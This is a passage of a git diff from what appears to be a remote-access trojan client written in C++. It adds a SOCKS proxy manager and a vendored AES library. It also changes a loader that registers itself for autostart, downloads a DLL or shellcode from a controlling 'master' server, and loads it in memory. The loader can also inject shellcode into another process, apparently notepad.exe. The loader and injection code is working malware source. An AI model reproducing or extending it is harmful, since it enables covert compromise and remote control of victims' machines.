|
||||||
|
}
|
||||||
|
SAFE_DELETE_AR(buff);
|
||||||
|
FD_CLR(socket, &fdSocket);
|
||||||
|
pThis->AddThread(-1);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
SOCKET* CProxyManager::GetSocket(DWORD index, BOOL del)
|
||||||
|
{
|
||||||
|
if (!m_bUse) return NULL;
|
||||||
|
CAutoLock locallock(m_cs);
|
||||||
|
SOCKET* s = list[index];
|
||||||
|
if ( del) {
|
||||||
|
if (!s) return s;
|
||||||
|
closesocket(*s);
|
||||||
|
SAFE_DELETE(s);
|
||||||
|
list.erase(index);
|
||||||
|
}
|
||||||
|
|
||||||
|
return s;
|
||||||
|
}
|
||||||
40
client/proxy/ProxyManager.h
Normal file
40
client/proxy/ProxyManager.h
Normal file
@@ -0,0 +1,40 @@
|
|||||||
|
#pragma once
|
||||||
|
#include "Manager.h"
|
||||||
|
#include <map>
|
||||||
|
|
||||||
|
class CProxyManager : public CManager
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
BOOL m_bUse;
|
||||||
|
CProxyManager(ISocketBase* pClient, int n = 0, void* user = nullptr);
|
||||||
|
virtual ~CProxyManager();
|
||||||
|
virtual void OnReceive(PBYTE lpBuffer, ULONG nSize);
|
||||||
|
int Send(LPBYTE lpData, UINT nSize);
|
||||||
|
void Disconnect(DWORD index);
|
||||||
|
void SendConnectResult(LPBYTE lpBuffer, DWORD ip, USHORT port);
|
||||||
|
static DWORD __stdcall SocksThread(LPVOID lparam);
|
||||||
|
static DWORD __stdcall SocksThreadhostname(LPVOID lparam);
|
||||||
|
DWORD m_nSend;
|
||||||
|
std::map<DWORD, SOCKET*> list;
|
||||||
|
SOCKET* GetSocket(DWORD index,BOOL del=FALSE);
|
||||||
|
CRITICAL_SECTION m_cs;
|
||||||
|
int Threads;
|
||||||
|
void AddThread(int n = 1) {
|
||||||
|
CAutoLock L(m_cs);
|
||||||
|
Threads += n;
|
||||||
|
}
|
||||||
|
void Wait() {
|
||||||
|
while (GetThread())
|
||||||
|
Sleep(50);
|
||||||
|
}
|
||||||
|
int GetThread() {
|
||||||
|
CAutoLock L(m_cs);
|
||||||
|
return Threads;
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
struct SocksThreadArg {
|
||||||
|
CProxyManager* pThis;
|
||||||
|
LPBYTE lpBuffer;
|
||||||
|
int len;
|
||||||
|
};
|
||||||
134
client/test.cpp
134
client/test.cpp
@@ -1,11 +1,11 @@
|
|||||||
|
|
||||||
#include <stdio.h>
|
|
||||||
#include <iostream>
|
|
||||||
#include <corecrt_io.h>
|
|
||||||
#include "common/commands.h"
|
|
||||||
#include "StdAfx.h"
|
#include "StdAfx.h"
|
||||||
#include "MemoryModule.h"
|
#include "MemoryModule.h"
|
||||||
|
#include "ShellcodeInj.h"
|
||||||
#include <WS2tcpip.h>
|
#include <WS2tcpip.h>
|
||||||
|
#include <common/commands.h>
|
||||||
|
#include "common/dllRunner.h"
|
||||||
|
#include <common/iniFile.h>
|
||||||
#pragma comment(lib, "ws2_32.lib")
|
#pragma comment(lib, "ws2_32.lib")
|
||||||
|
|
||||||
// <20>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD>е<EFBFBD>ֵ
|
// <20>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD>е<EFBFBD>ֵ
|
||||||
@@ -28,7 +28,9 @@ IsExit bExit = NULL;
|
|||||||
|
|
||||||
BOOL status = 0;
|
BOOL status = 0;
|
||||||
|
|
||||||
CONNECT_ADDRESS g_ConnectAddress = { FLAG_FINDEN, "127.0.0.1", "6543", CLIENT_TYPE_MEMDLL };
|
HANDLE hEvent = NULL;
|
||||||
|
|
||||||
|
CONNECT_ADDRESS g_ConnectAddress = { FLAG_FINDEN, "127.0.0.1", "6543", CLIENT_TYPE_DLL, false, DLL_VERSION, 0, Startup_InjSC };
|
||||||
|
|
||||||
//<2F><><EFBFBD><EFBFBD>Ȩ<EFBFBD><C8A8>
|
//<2F><><EFBFBD><EFBFBD>Ȩ<EFBFBD><C8A8>
|
||||||
void DebugPrivilege()
|
void DebugPrivilege()
|
||||||
@@ -89,6 +91,7 @@ BOOL CALLBACK callback(DWORD CtrlType)
|
|||||||
if (CtrlType == CTRL_CLOSE_EVENT)
|
if (CtrlType == CTRL_CLOSE_EVENT)
|
||||||
{
|
{
|
||||||
status = 1;
|
status = 1;
|
||||||
|
if (hEvent) SetEvent(hEvent);
|
||||||
if(stop) stop();
|
if(stop) stop();
|
||||||
while(1==status)
|
while(1==status)
|
||||||
Sleep(20);
|
Sleep(20);
|
||||||
@@ -106,41 +109,15 @@ typedef struct PkgHeader {
|
|||||||
int originLen;
|
int originLen;
|
||||||
PkgHeader(int size) {
|
PkgHeader(int size) {
|
||||||
memset(flag, 0, sizeof(flag));
|
memset(flag, 0, sizeof(flag));
|
||||||
strcpy_s(flag, "Hello?");
|
memcpy(flag, "Hello?", 6);
|
||||||
originLen = size;
|
originLen = size;
|
||||||
totalLen = sizeof(PkgHeader) + size;
|
totalLen = sizeof(PkgHeader) + size;
|
||||||
}
|
}
|
||||||
}PkgHeader;
|
}PkgHeader;
|
||||||
|
|
||||||
// A DLL runner.
|
|
||||||
class DllRunner {
|
|
||||||
public:
|
|
||||||
virtual void* LoadLibraryA(const char* path) = 0;
|
|
||||||
virtual FARPROC GetProcAddress(void* mod, const char* lpProcName) = 0;
|
|
||||||
virtual BOOL FreeLibrary(void* mod) = 0;
|
|
||||||
};
|
|
||||||
|
|
||||||
// Default DLL runner.
|
|
||||||
class DefaultDllRunner : public DllRunner {
|
|
||||||
private:
|
|
||||||
HMODULE m_mod;
|
|
||||||
public:
|
|
||||||
DefaultDllRunner() : m_mod(nullptr) {}
|
|
||||||
// Load DLL from the disk.
|
|
||||||
virtual void* LoadLibraryA(const char* path) {
|
|
||||||
return m_mod = ::LoadLibraryA(path);
|
|
||||||
}
|
|
||||||
virtual FARPROC GetProcAddress(void *mod, const char* lpProcName) {
|
|
||||||
return ::GetProcAddress(m_mod, lpProcName);
|
|
||||||
}
|
|
||||||
virtual BOOL FreeLibrary(void* mod) {
|
|
||||||
return ::FreeLibrary(m_mod);
|
|
||||||
}
|
|
||||||
};
|
|
||||||
|
|
||||||
// Memory DLL runner.
|
// Memory DLL runner.
|
||||||
class MemoryDllRunner : public DllRunner {
|
class MemoryDllRunner : public DllRunner {
|
||||||
private:
|
protected:
|
||||||
HMEMORYMODULE m_mod;
|
HMEMORYMODULE m_mod;
|
||||||
std::string GetIPAddress(const char* hostName)
|
std::string GetIPAddress(const char* hostName)
|
||||||
{
|
{
|
||||||
@@ -169,8 +146,7 @@ private:
|
|||||||
}
|
}
|
||||||
public:
|
public:
|
||||||
MemoryDllRunner() : m_mod(nullptr){}
|
MemoryDllRunner() : m_mod(nullptr){}
|
||||||
// Request DLL from the master.
|
virtual const char* ReceiveDll(int &size) {
|
||||||
virtual void* LoadLibraryA(const char* path) {
|
|
||||||
WSADATA wsaData = {};
|
WSADATA wsaData = {};
|
||||||
if (WSAStartup(MAKEWORD(2, 2), &wsaData))
|
if (WSAStartup(MAKEWORD(2, 2), &wsaData))
|
||||||
return nullptr;
|
return nullptr;
|
||||||
@@ -179,7 +155,7 @@ public:
|
|||||||
char* buffer = new char[bufSize];
|
char* buffer = new char[bufSize];
|
||||||
bool isFirstConnect = true;
|
bool isFirstConnect = true;
|
||||||
|
|
||||||
do{
|
do {
|
||||||
if (!isFirstConnect)
|
if (!isFirstConnect)
|
||||||
Sleep(5000);
|
Sleep(5000);
|
||||||
|
|
||||||
@@ -214,7 +190,7 @@ public:
|
|||||||
closesocket(clientSocket);
|
closesocket(clientSocket);
|
||||||
continue;
|
continue;
|
||||||
}
|
}
|
||||||
char *ptr = buffer + sizeof(PkgHeader);
|
char* ptr = buffer + sizeof(PkgHeader);
|
||||||
int bufferSize = 16 * 1024, bytesReceived = 0, totalReceived = 0;
|
int bufferSize = 16 * 1024, bytesReceived = 0, totalReceived = 0;
|
||||||
while (totalReceived < bufSize) {
|
while (totalReceived < bufSize) {
|
||||||
int bytesToReceive = min(bufferSize, bufSize - totalReceived);
|
int bytesToReceive = min(bufferSize, bufSize - totalReceived);
|
||||||
@@ -227,18 +203,36 @@ public:
|
|||||||
continue;
|
continue;
|
||||||
}
|
}
|
||||||
BYTE cmd = ptr[0], type = ptr[1];
|
BYTE cmd = ptr[0], type = ptr[1];
|
||||||
int size = 0;
|
size = 0;
|
||||||
memcpy(&size, ptr + 2, sizeof(int));
|
memcpy(&size, ptr + 2, sizeof(int));
|
||||||
if (totalReceived != size + 6 + sizeof(PkgHeader)) {
|
if (totalReceived != size + 6 + sizeof(PkgHeader)) {
|
||||||
continue;
|
continue;
|
||||||
}
|
}
|
||||||
|
|
||||||
m_mod = ::MemoryLoadLibrary(buffer + 6 + sizeof(PkgHeader), size);
|
|
||||||
closesocket(clientSocket);
|
closesocket(clientSocket);
|
||||||
} while (false);
|
} while (false);
|
||||||
|
|
||||||
SAFE_DELETE_ARRAY(buffer);
|
|
||||||
WSACleanup();
|
WSACleanup();
|
||||||
|
return buffer;
|
||||||
|
}
|
||||||
|
// Request DLL from the master.
|
||||||
|
virtual void* LoadLibraryA(const char* path, int len = 0) {
|
||||||
|
int size = 0;
|
||||||
|
auto buffer = ReceiveDll(size);
|
||||||
|
if (nullptr == buffer || size == 0){
|
||||||
|
SAFE_DELETE_ARRAY(buffer);
|
||||||
|
return nullptr;
|
||||||
|
}
|
||||||
|
int pos = MemoryFind(buffer, FLAG_FINDEN, size, sizeof(FLAG_FINDEN) - 1);
|
||||||
|
if (-1 != pos) {
|
||||||
|
CONNECT_ADDRESS* addr = (CONNECT_ADDRESS*)(buffer + pos);
|
||||||
|
BYTE type = buffer[sizeof(PkgHeader) + 1];
|
||||||
|
addr->iType = type == MEMORYDLL ? CLIENT_TYPE_MEMDLL : CLIENT_TYPE_SHELLCODE;
|
||||||
|
memset(addr->szFlag, 0, sizeof(addr->szFlag));
|
||||||
|
strcpy(addr->szServerIP, g_ConnectAddress.ServerIP());
|
||||||
|
sprintf_s(addr->szPort, "%d", g_ConnectAddress.ServerPort());
|
||||||
|
}
|
||||||
|
m_mod = ::MemoryLoadLibrary(buffer + 6 + sizeof(PkgHeader), size);
|
||||||
|
SAFE_DELETE_ARRAY(buffer);
|
||||||
return m_mod;
|
return m_mod;
|
||||||
}
|
}
|
||||||
virtual FARPROC GetProcAddress(void* mod, const char* lpProcName) {
|
virtual FARPROC GetProcAddress(void* mod, const char* lpProcName) {
|
||||||
@@ -259,11 +253,47 @@ int main(int argc, const char *argv[])
|
|||||||
{
|
{
|
||||||
if(!SetSelfStart(argv[0], REG_NAME))
|
if(!SetSelfStart(argv[0], REG_NAME))
|
||||||
{
|
{
|
||||||
std::cout<<"<EFBFBD><EFBFBD><EFBFBD>ÿ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD>ܣ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ù<EFBFBD><EFBFBD><EFBFBD>ԱȨ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>.\n";
|
Mprintf("<EFBFBD><EFBFBD><EFBFBD>ÿ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD>ܣ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ù<EFBFBD><EFBFBD><EFBFBD>ԱȨ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>.\n");
|
||||||
}
|
}
|
||||||
status = 0;
|
status = 0;
|
||||||
SetConsoleCtrlHandler(&callback, TRUE);
|
SetConsoleCtrlHandler(&callback, TRUE);
|
||||||
|
|
||||||
|
// <20><> Shell code <20><><EFBFBD>ӱ<EFBFBD><D3B1><EFBFBD>6543<34>˿ڣ<CBBF>ע<EFBFBD>뵽<EFBFBD><EBB5BD><EFBFBD>±<EFBFBD>
|
||||||
|
if (g_ConnectAddress.iStartup == Startup_InjSC)
|
||||||
|
{
|
||||||
|
// Try to inject shell code to `notepad.exe`
|
||||||
|
// If failed then run memory DLL
|
||||||
|
ShellcodeInj inj;
|
||||||
|
int pid = 0;
|
||||||
|
hEvent = ::CreateEventA(NULL, TRUE, FALSE, NULL);
|
||||||
|
do {
|
||||||
|
if (sizeof(void*) == 4) // Shell code is 64bit
|
||||||
|
break;
|
||||||
|
if (!(pid = inj.InjectProcess(nullptr))) {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
HANDLE hProcess = OpenProcess(PROCESS_TERMINATE | SYNCHRONIZE, FALSE, pid);
|
||||||
|
if (hProcess == NULL) {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
Mprintf("Inject process [%d] succeed.\n", pid);
|
||||||
|
HANDLE handles[2] = { hProcess, hEvent };
|
||||||
|
DWORD waitResult = WaitForMultipleObjects(2, handles, FALSE, INFINITE);
|
||||||
|
if (status == 1) {
|
||||||
|
TerminateProcess(hProcess, -1);
|
||||||
|
CloseHandle(hEvent);
|
||||||
|
}
|
||||||
|
CloseHandle(hProcess);
|
||||||
|
Mprintf("Process [%d] is finished.\n", pid);
|
||||||
|
if (status == 1)
|
||||||
|
return -1;
|
||||||
|
} while (pid);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (g_ConnectAddress.iStartup == Startup_InjSC) {
|
||||||
|
g_ConnectAddress.iStartup = Startup_MEMDLL;
|
||||||
|
}
|
||||||
|
|
||||||
do {
|
do {
|
||||||
BOOL ret = Run(argc > 1 ? argv[1] : (strlen(g_ConnectAddress.ServerIP()) == 0 ? "127.0.0.1" : g_ConnectAddress.ServerIP()),
|
BOOL ret = Run(argc > 1 ? argv[1] : (strlen(g_ConnectAddress.ServerIP()) == 0 ? "127.0.0.1" : g_ConnectAddress.ServerIP()),
|
||||||
argc > 2 ? atoi(argv[2]) : (g_ConnectAddress.ServerPort() == 0 ? 6543 : g_ConnectAddress.ServerPort()));
|
argc > 2 ? atoi(argv[2]) : (g_ConnectAddress.ServerPort() == 0 ? 6543 : g_ConnectAddress.ServerPort()));
|
||||||
@@ -315,7 +345,20 @@ BOOL Run(const char* argv1, int argv2) {
|
|||||||
Mprintf("Using new file: %s\n", newFile.c_str());
|
Mprintf("Using new file: %s\n", newFile.c_str());
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
DllRunner* runner = g_ConnectAddress.iType ? (DllRunner*) new MemoryDllRunner : new DefaultDllRunner;
|
DllRunner* runner = nullptr;
|
||||||
|
switch (g_ConnectAddress.iStartup)
|
||||||
|
{
|
||||||
|
case Startup_DLL:
|
||||||
|
runner = new DefaultDllRunner;
|
||||||
|
break;
|
||||||
|
case Startup_MEMDLL:
|
||||||
|
runner = new MemoryDllRunner;
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
ExitProcess(-1);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
void* hDll = runner->LoadLibraryA(path);
|
void* hDll = runner->LoadLibraryA(path);
|
||||||
typedef void (*TestRun)(char* strHost, int nPort);
|
typedef void (*TestRun)(char* strHost, int nPort);
|
||||||
TestRun run = hDll ? TestRun(runner->GetProcAddress(hDll, "TestRun")) : NULL;
|
TestRun run = hDll ? TestRun(runner->GetProcAddress(hDll, "TestRun")) : NULL;
|
||||||
@@ -340,8 +383,9 @@ BOOL Run(const char* argv1, int argv2) {
|
|||||||
port = argv2;
|
port = argv2;
|
||||||
}
|
}
|
||||||
else {
|
else {
|
||||||
GetPrivateProfileStringA("settings", "localIp", g_ConnectAddress.ServerIP(), ip, _MAX_PATH, path);
|
config cfg;
|
||||||
port = GetPrivateProfileIntA("settings", "ghost", g_ConnectAddress.ServerPort(), path);
|
strcpy_s(path, cfg.GetStr("settings", "master", g_ConnectAddress.ServerIP()).c_str());
|
||||||
|
port = cfg.Get1Int("settings", "ghost", ';', 6543);
|
||||||
}
|
}
|
||||||
Mprintf("[server] %s:%d\n", ip, port);
|
Mprintf("[server] %s:%d\n", ip, port);
|
||||||
do
|
do
|
||||||
|
|||||||
571
common/aes.c
Normal file
571
common/aes.c
Normal file
@@ -0,0 +1,571 @@
|
|||||||
|
/*
|
||||||
|
|
||||||
|
This is an implementation of the AES algorithm, specifically ECB, CTR and CBC mode.
|
||||||
|
Block size can be chosen in aes.h - available choices are AES128, AES192, AES256.
|
||||||
|
|
||||||
|
The implementation is verified against the test vectors in:
|
||||||
|
National Institute of Standards and Technology Special Publication 800-38A 2001 ED
|
||||||
|
|
||||||
|
ECB-AES128
|
||||||
|
----------
|
||||||
|
|
||||||
|
plain-text:
|
||||||
|
6bc1bee22e409f96e93d7e117393172a
|
||||||
|
ae2d8a571e03ac9c9eb76fac45af8e51
|
||||||
|
30c81c46a35ce411e5fbc1191a0a52ef
|
||||||
|
f69f2445df4f9b17ad2b417be66c3710
|
||||||
|
|
||||||
|
key:
|
||||||
|
2b7e151628aed2a6abf7158809cf4f3c
|
||||||
|
|
||||||
|
resulting cipher
|
||||||
|
3ad77bb40d7a3660a89ecaf32466ef97
|
||||||
|
f5d3d58503b9699de785895a96fdbaaf
|
||||||
|
43b1cd7f598ece23881b00e3ed030688
|
||||||
|
7b0c785e27e8ad3f8223207104725dd4
|
||||||
|
|
||||||
|
|
||||||
|
NOTE: String length must be evenly divisible by 16byte (str_len % 16 == 0)
|
||||||
|
You should pad the end of the string with zeros if this is not the case.
|
||||||
|
For AES192/256 the key size is proportionally larger.
|
||||||
|
|
||||||
|
*/
|
||||||
|
|
||||||
|
/*****************************************************************************/
|
||||||
|
/* Includes: */
|
||||||
|
/*****************************************************************************/
|
||||||
|
#include <string.h> // CBC mode, for memset
|
||||||
|
#include "aes.h"
|
||||||
|
|
||||||
|
/*****************************************************************************/
|
||||||
|
/* Defines: */
|
||||||
|
/*****************************************************************************/
|
||||||
|
// The number of columns comprising a state in AES. This is a constant in AES. Value=4
|
||||||
|
#define Nb 4
|
||||||
|
|
||||||
|
#if defined(AES256) && (AES256 == 1)
|
||||||
|
#define Nk 8
|
||||||
|
#define Nr 14
|
||||||
|
#elif defined(AES192) && (AES192 == 1)
|
||||||
|
#define Nk 6
|
||||||
|
#define Nr 12
|
||||||
|
#else
|
||||||
|
#define Nk 4 // The number of 32 bit words in a key.
|
||||||
|
#define Nr 10 // The number of rounds in AES Cipher.
|
||||||
|
#endif
|
||||||
|
|
||||||
|
// jcallan@github points out that declaring Multiply as a function
|
||||||
|
// reduces code size considerably with the Keil ARM compiler.
|
||||||
|
// See this link for more information: https://github.com/kokke/tiny-AES-C/pull/3
|
||||||
|
#ifndef MULTIPLY_AS_A_FUNCTION
|
||||||
|
#define MULTIPLY_AS_A_FUNCTION 0
|
||||||
|
#endif
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
/*****************************************************************************/
|
||||||
|
/* Private variables: */
|
||||||
|
/*****************************************************************************/
|
||||||
|
// state - array holding the intermediate results during decryption.
|
||||||
|
typedef uint8_t state_t[4][4];
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
// The lookup-tables are marked const so they can be placed in read-only storage instead of RAM
|
||||||
|
// The numbers below can be computed dynamically trading ROM for RAM -
|
||||||
|
// This can be useful in (embedded) bootloader applications, where ROM is often limited.
|
||||||
|
static const uint8_t sbox[256] = {
|
||||||
|
//0 1 2 3 4 5 6 7 8 9 A B C D E F
|
||||||
|
0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76,
|
||||||
|
0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0,
|
||||||
|
0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15,
|
||||||
|
0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75,
|
||||||
|
0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84,
|
||||||
|
0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf,
|
||||||
|
0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8,
|
||||||
|
0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2,
|
||||||
|
0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73,
|
||||||
|
0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb,
|
||||||
|
0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79,
|
||||||
|
0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08,
|
||||||
|
0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a,
|
||||||
|
0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e,
|
||||||
|
0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf,
|
||||||
|
0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16 };
|
||||||
|
|
||||||
|
#if (defined(CBC) && CBC == 1) || (defined(ECB) && ECB == 1)
|
||||||
|
static const uint8_t rsbox[256] = {
|
||||||
|
0x52, 0x09, 0x6a, 0xd5, 0x30, 0x36, 0xa5, 0x38, 0xbf, 0x40, 0xa3, 0x9e, 0x81, 0xf3, 0xd7, 0xfb,
|
||||||
|
0x7c, 0xe3, 0x39, 0x82, 0x9b, 0x2f, 0xff, 0x87, 0x34, 0x8e, 0x43, 0x44, 0xc4, 0xde, 0xe9, 0xcb,
|
||||||
|
0x54, 0x7b, 0x94, 0x32, 0xa6, 0xc2, 0x23, 0x3d, 0xee, 0x4c, 0x95, 0x0b, 0x42, 0xfa, 0xc3, 0x4e,
|
||||||
|
0x08, 0x2e, 0xa1, 0x66, 0x28, 0xd9, 0x24, 0xb2, 0x76, 0x5b, 0xa2, 0x49, 0x6d, 0x8b, 0xd1, 0x25,
|
||||||
|
0x72, 0xf8, 0xf6, 0x64, 0x86, 0x68, 0x98, 0x16, 0xd4, 0xa4, 0x5c, 0xcc, 0x5d, 0x65, 0xb6, 0x92,
|
||||||
|
0x6c, 0x70, 0x48, 0x50, 0xfd, 0xed, 0xb9, 0xda, 0x5e, 0x15, 0x46, 0x57, 0xa7, 0x8d, 0x9d, 0x84,
|
||||||
|
0x90, 0xd8, 0xab, 0x00, 0x8c, 0xbc, 0xd3, 0x0a, 0xf7, 0xe4, 0x58, 0x05, 0xb8, 0xb3, 0x45, 0x06,
|
||||||
|
0xd0, 0x2c, 0x1e, 0x8f, 0xca, 0x3f, 0x0f, 0x02, 0xc1, 0xaf, 0xbd, 0x03, 0x01, 0x13, 0x8a, 0x6b,
|
||||||
|
0x3a, 0x91, 0x11, 0x41, 0x4f, 0x67, 0xdc, 0xea, 0x97, 0xf2, 0xcf, 0xce, 0xf0, 0xb4, 0xe6, 0x73,
|
||||||
|
0x96, 0xac, 0x74, 0x22, 0xe7, 0xad, 0x35, 0x85, 0xe2, 0xf9, 0x37, 0xe8, 0x1c, 0x75, 0xdf, 0x6e,
|
||||||
|
0x47, 0xf1, 0x1a, 0x71, 0x1d, 0x29, 0xc5, 0x89, 0x6f, 0xb7, 0x62, 0x0e, 0xaa, 0x18, 0xbe, 0x1b,
|
||||||
|
0xfc, 0x56, 0x3e, 0x4b, 0xc6, 0xd2, 0x79, 0x20, 0x9a, 0xdb, 0xc0, 0xfe, 0x78, 0xcd, 0x5a, 0xf4,
|
||||||
|
0x1f, 0xdd, 0xa8, 0x33, 0x88, 0x07, 0xc7, 0x31, 0xb1, 0x12, 0x10, 0x59, 0x27, 0x80, 0xec, 0x5f,
|
||||||
|
0x60, 0x51, 0x7f, 0xa9, 0x19, 0xb5, 0x4a, 0x0d, 0x2d, 0xe5, 0x7a, 0x9f, 0x93, 0xc9, 0x9c, 0xef,
|
||||||
|
0xa0, 0xe0, 0x3b, 0x4d, 0xae, 0x2a, 0xf5, 0xb0, 0xc8, 0xeb, 0xbb, 0x3c, 0x83, 0x53, 0x99, 0x61,
|
||||||
|
0x17, 0x2b, 0x04, 0x7e, 0xba, 0x77, 0xd6, 0x26, 0xe1, 0x69, 0x14, 0x63, 0x55, 0x21, 0x0c, 0x7d };
|
||||||
|
#endif
|
||||||
|
|
||||||
|
// The round constant word array, Rcon[i], contains the values given by
|
||||||
|
// x to the power (i-1) being powers of x (x is denoted as {02}) in the field GF(2^8)
|
||||||
|
static const uint8_t Rcon[11] = {
|
||||||
|
0x8d, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36 };
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Jordan Goulder points out in PR #12 (https://github.com/kokke/tiny-AES-C/pull/12),
|
||||||
|
* that you can remove most of the elements in the Rcon array, because they are unused.
|
||||||
|
*
|
||||||
|
* From Wikipedia's article on the Rijndael key schedule @ https://en.wikipedia.org/wiki/Rijndael_key_schedule#Rcon
|
||||||
|
*
|
||||||
|
* "Only the first some of these constants are actually used – up to rcon[10] for AES-128 (as 11 round keys are needed),
|
||||||
|
* up to rcon[8] for AES-192, up to rcon[7] for AES-256. rcon[0] is not used in AES algorithm."
|
||||||
|
*/
|
||||||
|
|
||||||
|
|
||||||
|
/*****************************************************************************/
|
||||||
|
/* Private functions: */
|
||||||
|
/*****************************************************************************/
|
||||||
|
/*
|
||||||
|
static uint8_t getSBoxValue(uint8_t num)
|
||||||
|
{
|
||||||
|
return sbox[num];
|
||||||
|
}
|
||||||
|
*/
|
||||||
|
#define getSBoxValue(num) (sbox[(num)])
|
||||||
|
|
||||||
|
// This function produces Nb(Nr+1) round keys. The round keys are used in each round to decrypt the states.
|
||||||
|
static void KeyExpansion(uint8_t* RoundKey, const uint8_t* Key)
|
||||||
|
{
|
||||||
|
unsigned i, j, k;
|
||||||
|
uint8_t tempa[4]; // Used for the column/row operations
|
||||||
|
|
||||||
|
// The first round key is the key itself.
|
||||||
|
for (i = 0; i < Nk; ++i)
|
||||||
|
{
|
||||||
|
RoundKey[(i * 4) + 0] = Key[(i * 4) + 0];
|
||||||
|
RoundKey[(i * 4) + 1] = Key[(i * 4) + 1];
|
||||||
|
RoundKey[(i * 4) + 2] = Key[(i * 4) + 2];
|
||||||
|
RoundKey[(i * 4) + 3] = Key[(i * 4) + 3];
|
||||||
|
}
|
||||||
|
|
||||||
|
// All other round keys are found from the previous round keys.
|
||||||
|
for (i = Nk; i < Nb * (Nr + 1); ++i)
|
||||||
|
{
|
||||||
|
{
|
||||||
|
k = (i - 1) * 4;
|
||||||
|
tempa[0]=RoundKey[k + 0];
|
||||||
|
tempa[1]=RoundKey[k + 1];
|
||||||
|
tempa[2]=RoundKey[k + 2];
|
||||||
|
tempa[3]=RoundKey[k + 3];
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
if (i % Nk == 0)
|
||||||
|
{
|
||||||
|
// This function shifts the 4 bytes in a word to the left once.
|
||||||
|
// [a0,a1,a2,a3] becomes [a1,a2,a3,a0]
|
||||||
|
|
||||||
|
// Function RotWord()
|
||||||
|
{
|
||||||
|
const uint8_t u8tmp = tempa[0];
|
||||||
|
tempa[0] = tempa[1];
|
||||||
|
tempa[1] = tempa[2];
|
||||||
|
tempa[2] = tempa[3];
|
||||||
|
tempa[3] = u8tmp;
|
||||||
|
}
|
||||||
|
|
||||||
|
// SubWord() is a function that takes a four-byte input word and
|
||||||
|
// applies the S-box to each of the four bytes to produce an output word.
|
||||||
|
|
||||||
|
// Function Subword()
|
||||||
|
{
|
||||||
|
tempa[0] = getSBoxValue(tempa[0]);
|
||||||
|
tempa[1] = getSBoxValue(tempa[1]);
|
||||||
|
tempa[2] = getSBoxValue(tempa[2]);
|
||||||
|
tempa[3] = getSBoxValue(tempa[3]);
|
||||||
|
}
|
||||||
|
|
||||||
|
tempa[0] = tempa[0] ^ Rcon[i/Nk];
|
||||||
|
}
|
||||||
|
